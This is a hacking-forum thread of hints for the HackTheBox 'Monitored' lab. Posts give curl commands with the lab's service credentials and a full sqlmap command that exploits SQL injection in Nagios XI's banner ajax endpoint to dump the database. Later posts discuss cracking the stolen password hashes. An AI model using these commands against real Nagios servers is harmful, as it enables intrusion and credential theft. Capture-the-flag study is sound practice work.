Monitored - HTB
by paven - Saturday January 13, 2024 at 12:13 PM
#31
(Jan 14, 2024, 12:59 AM)ByteBuster Wrote:
(Jan 14, 2024, 12:56 AM)peRd1 Wrote:
(Jan 14, 2024, 12:33 AM)zeroedbykrycek Wrote: any hint on what to look into after getting the nagios panel using svc creds? Smile
Try finding an sql injection vulnerability and dumb those tables Big Grin

Do we need the svc user's token to perform SQL injection? I'm having trouble getting SQL injection to work on the banner URL

That's what you need to work on, that damned banner ajax url... but but but, you need a proper cookie for it.

That auth token is not enough for injection. But it is enough to login to the endpoint. You need to login and grab the proper cookie, use that with sqlmap.

It should make sense.
Reply
#32
(Jan 14, 2024, 01:11 AM)yonigga Wrote: where can i find the auth token??
someone said to me --->   login through the api ---> get the auth_token and visit this in browser to get nagios cookie
Now i have two questions which api??? /nagiosxi/api endpoint?? cause that didn't work. so which one and how to do it?
and visit this in browser to get nagios cookie how???

That person what told you is correct. That is exactly what you need to do.

Maybe intercept the login mechanism? Then use curl. You already have the credentials already. So just login via command line not the GUI. 

Then you will have the auth token....that you can use to login from browser... and only then you will have the proper cookie  Dodgy
Reply
#33
I'm stuck trying to find the token...

edit:
nvm, just found out how -> https://support.nagios.com/forum/viewtop...16&t=58783
Reply
#34
(Jan 14, 2024, 05:00 AM)NothingIsSafe Wrote:
(Jan 14, 2024, 01:11 AM)yonigga Wrote:
(Jan 14, 2024, 01:07 AM)peRd1 Wrote:
(Jan 14, 2024, 12:59 AM)ByteBuster Wrote:
(Jan 14, 2024, 12:56 AM)peRd1 Wrote: Try finding an sql injection vulnerability and dumb those tables Big Grin

Do we need the svc user's token to perform SQL injection? I'm having trouble getting SQL injection to work on the banner URL

That's what you need to work on, that damned banner ajax url... but but but, you need a proper cookie for it.

That auth token is not enough for injection. But it is enough to login to the endpoint. You need to login and grab the proper cookie, use that with sqlmap.

It should make sense.

where can i find the auth token??
someone said to me --->   login through the api ---> get the auth_token and visit this in browser to get nagios cookie
Now i have two questions which api??? /nagiosxi/api endpoint?? cause that didn't work. so which one and how to do it?
and visit this in browser to get nagios cookie how???

curl -i -s -k -X $'POST' \                                                         
    -H $'Host: nagios.monitored.htb' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: none' -H $'Sec-Fetch-User: ?1' -H $'Te: trailers' -H $'Connection: close' -H $'Content-Length: 54' \
    --data-binary $'username=svc&password=XjH7VCehowpR1xZB&valid_min=580\x0d\x0a' \
    $'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate'

This also works:

curl -XPOST -k -L 'https://nagios.monitored.htb/nagiosxi/api/v1/authenticate?pretty=1' -d 'username=svc&password=XjH7VCehowpR1xZB&valid_min=500'
Reply
#35
glhf
sqlmap -u "https://nagios.monitored.htb//nagiosxi/admin/banner_message-ajaxhelper.php?action=acknowledge_banner_message&id=3&token=`curl -ksX POST https://nagios.monitored.htb/nagiosxi/api/v1/authenticate -d "username=svc&password=XjH7VCehowpR1xZB&valid_min=500" | awk -F'"' '{print$12}'`" --level 5 --risk 3 -p id --batch -D nagiosxi --dump
Reply
#36
I got some credentials from db by using SQLi, it just looks like shadows file. But i cannot decrypt them with johntheripper. Can someone give me a little hint plz?
Reply
#37
(Jan 14, 2024, 06:31 AM)jyosun Wrote: I got some credentials from db by using SQLi, it just looks like shadows file. But i cannot decrypt them with johntheripper. Can someone give me a little hint plz?

Which table did you find that in?
All the tables I have dumped so far look useless, still in progress though
Reply
#38
(Jan 14, 2024, 06:53 AM)Cmbrlnd Wrote:
(Jan 14, 2024, 06:31 AM)jyosun Wrote: I got some credentials from db by using SQLi, it just looks like shadows file. But i cannot decrypt them with johntheripper. Can someone give me a little hint plz?

Which table did you find that in?
All the tables I have dumped so far look useless, still in progress though

table "xi_users" in nagiosxi, but i cannot decrypt the password Sad
Reply
#39
xi_users.csv
Reply
#40
(Jan 14, 2024, 06:59 AM)jyosun Wrote:
(Jan 14, 2024, 06:53 AM)Cmbrlnd Wrote:
(Jan 14, 2024, 06:31 AM)jyosun Wrote: I got some credentials from db by using SQLi, it just looks like shadows file. But i cannot decrypt them with johntheripper. Can someone give me a little hint plz?

Which table did you find that in?
All the tables I have dumped so far look useless, still in progress though

table "xi_users" in nagiosxi, but i cannot decrypt the password Sad

Per HTB's rules, hashes must crack in 5 minutes or less with rockyou.txt so I dont think we're intended to crack these. Basically, if you see a blowfish hash just forget it
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] CPTS 12 FLAGS pulsebreaker 75 2,404 2 minutes ago
Last Post: rft569o7k
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 376 93,849 5 hours ago
Last Post: Sukon
  [FREE] CPTS • CWES • CDSA • CWEE Exam Hint 3midjets 233 32,396 5 hours ago
Last Post: Sukon
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 89 8,131 10 hours ago
Last Post: Xploitd
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 10 639 Yesterday, 03:44 PM
Last Post: chufoni

Forum Jump:


 Users browsing this forum: 1 Guest(s)